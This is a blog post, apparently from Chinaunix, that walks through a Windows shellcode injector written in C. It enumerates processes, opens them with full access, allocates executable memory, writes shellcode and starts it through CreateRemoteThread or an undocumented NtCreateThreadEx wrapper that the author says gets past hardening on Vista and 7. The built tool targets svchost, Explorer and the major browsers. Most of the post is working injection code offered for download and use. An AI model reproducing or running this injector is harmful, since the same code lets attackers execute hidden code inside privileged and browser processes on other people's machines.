Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1341459
  • 博文数量: 416
  • 博客积分: 13005
  • 博客等级: 上将
  • 技术积分: 3297
  • 用 户 组: 普通用户
  • 注册时间: 2006-04-05 16:26
文章分类

全部博文(416)

文章存档

2014年(1)

2013年(4)

2012年(46)

2011年(64)

2010年(12)

2009年(4)

2008年(40)

2007年(187)

2006年(58)

分类: 网络与安全

2012-03-07 18:58:13



In this post I will present a tool I created for injecting shellcode into any process in the (even privileged once if you have admin permissions). This tool only uses WinAPI functions and should work on any Windows platform and without any dependency.
Let's begin:
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.

code:
Code:
  1. int CheckOSVersion(void)
  2. {
  3.  /*
  4.  * Windows XP = 1 (NT 5.0)
  5.  * Windows Vista = 2 (NT 6.0)
  6.  * Windows 7 = 3 (NT 6.1)
  7.  */
  8.  OSVERSIONINFO osver;
  9.  osver.dwOSVersionInfoSize = sizeof(osver);
  10.  if (GetVersionEx(&osver))
  11.  {
  12.   if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT))
  13.    return 0;
  14.   if (osver.dwMajorVersion == 5)
  15.    return 1;
  16.   if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
  17.    return 2;
  18.   if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1)
  19.    return 3;
  20.  }
  21.  else
  22.   return 0;
  23. }
Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known :
Code:
  1. bool is64bit;
  2.  // get system architecture
  3.  if(sizeof(void*) == 4)
  4.   is64bit = false; // 32bit
  5.  else
  6.   is64bit = true; // 64bit
The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be PROCESSENTRY32 and the functions we use to iterate through the processes would be Process32First and Process32Next
Code:
Code:
  1. PROCESSENTRY32 pe32 = { sizeof( PROCESSENTRY32 ) };
  2.  HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

  3.  if( hSnapshot == INVALID_HANDLE_VALUE )
  4.   return 0;

  5.  if( ! Process32First( hSnapshot, &pe32 ) ) {
  6.   CloseHandle( hSnapshot );
  7.   return 0;
  8.  }

  9.  do {
  10.   if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){
  11.    // The injection function is called from here...
  12.   }
  13.  } while( Process32Next( hSnapshot, &pe32 ) );
Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use OpenProcess. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using VirtualAllocEx, writing the shellcode into the memory space we allocated using WriteProcessMemory and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it.
code:
Code:
  1. bool InjectCode( DWORD dwProcId, int os )
  2. {
  3.  //open process with proper access permissions
  4.  HANDLE hHandle = NULL;
  5.  if (os < 2)
  6.   //good for Windows XP and older
  7.   hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId );
  8.  else
  9.   //good for Windows 7 and Vista (not tested on XP or older)
  10.   hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId );
  11.  
  12.  //check if OpenProcess succeeded
  13.  if( hHandle == INVALID_HANDLE_VALUE )
  14.   return false;

  15.  //allocate memory for our shellcode in the desired process's address space
  16.  LPVOID lpShellcode = NULL;
  17.  //choose the shellcode which suits the environment
  18.  if (os < 2)
  19.   lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  20.  else if (os < 4)
  21.   lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  22.  else
  23.   lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  24.  
  25.  //check if VirtualAllocEx succeeded
  26.  if( lpShellcode == NULL) {
  27.   CloseHandle( hHandle );
  28.   return false;
  29.  }

  30.  // write the shellcode into the allocated memory space
  31.  if (os < 2)
  32.   WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 );
  33.  else if (os < 4)
  34.   WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 );
  35.  else
  36.   WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 );

  37.  // create a thread which will execute our shellcode
  38.  HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 );
  39.  if( hThread == NULL ) {
  40.   CloseHandle( hHandle );
  41.   return false;
  42.  }
  43.  return true;
  44. }
MyCreateRemoteThread
code:
Code:
  1. HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback)
  2. {
  3.  if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx"))
  4.  {
  5.   return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback);
  6.  }

  7.  else
  8.  {
  9.   return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0);
  10.  }

  11.  return NULL;
  12. }
The reason I'm using CreateRemoteThread and NtCreateThreadEx is that CreateRemoteThread not always on Windows Vista and 7 (because of some changes made for hardening protection). NtCreateThreadEx is an undocumented function, there for I had to implement it instead of using the API as I did so far.

NtCreateThreadEx
code:
Code:
  1. HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback)
  2. {
  3.  typedef struct
  4.  {
  5.   ULONG Length;
  6.   ULONG Unknown1;
  7.   ULONG Unknown2;
  8.   PULONG Unknown3;
  9.   ULONG Unknown4;
  10.   ULONG Unknown5;
  11.   ULONG Unknown6;
  12.   PULONG Unknown7;
  13.   ULONG Unknown8;

  14.  } UNKNOWN;

  15.  typedef DWORD WINAPI NtCreateThreadEx_PROC(
  16.   PHANDLE ThreadHandle,
  17.   ACCESS_MASK DesiredAccess,
  18.   LPVOID ObjectAttributes,
  19.   HANDLE ProcessHandle,
  20.   LPTHREAD_START_ROUTINE lpStartAddress,
  21.   LPVOID lpParameter,
  22.   BOOL CreateSuspended,
  23.   DWORD dwStackSize,
  24.   DWORD Unknown1,
  25.   DWORD Unknown2,
  26.   LPVOID Unknown3
  27.   );

  28.  UNKNOWN Buffer;
  29.  DWORD dw0 = 0;
  30.  DWORD dw1 = 0;
  31.  memset(&Buffer, 0, sizeof(UNKNOWN));

  32.  Buffer.Length = sizeof (UNKNOWN);
  33.  Buffer.Unknown1 = 0x10003;
  34.  Buffer.Unknown2 = 0x8;
  35.  Buffer.Unknown3 = &dw1;
  36.  Buffer.Unknown4 = 0;
  37.  Buffer.Unknown5 = 0x10004;
  38.  Buffer.Unknown6 = 4;
  39.  Buffer.Unknown7 = &dw0;

  40.  NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx");

  41.  if(VistaCreateThread == NULL)
  42.   return NULL;

  43.  HANDLE hRemoteThread = NULL;
  44.  HRESULT hRes = 0;

  45.  if(!SUCCEEDED(hRes = VistaCreateThread(
  46.   &hRemoteThread,
  47.   0x1FFFFF, // all access
  48.   NULL,
  49.   hProcess,
  50.   (LPTHREAD_START_ROUTINE)lpRemoteThreadStart,
  51.   lpRemoteCallback,
  52.   FALSE,
  53.   NULL,
  54.   NULL,
  55.   NULL,
  56.   &Buffer
  57.   )))
  58.  {
  59.   return NULL;
  60.  }

  61.  return hRemoteThread;
  62. }
That's about it. You can download the VS 2008 files from and the injector exe file from here.
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.

Source











阅读(1111) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~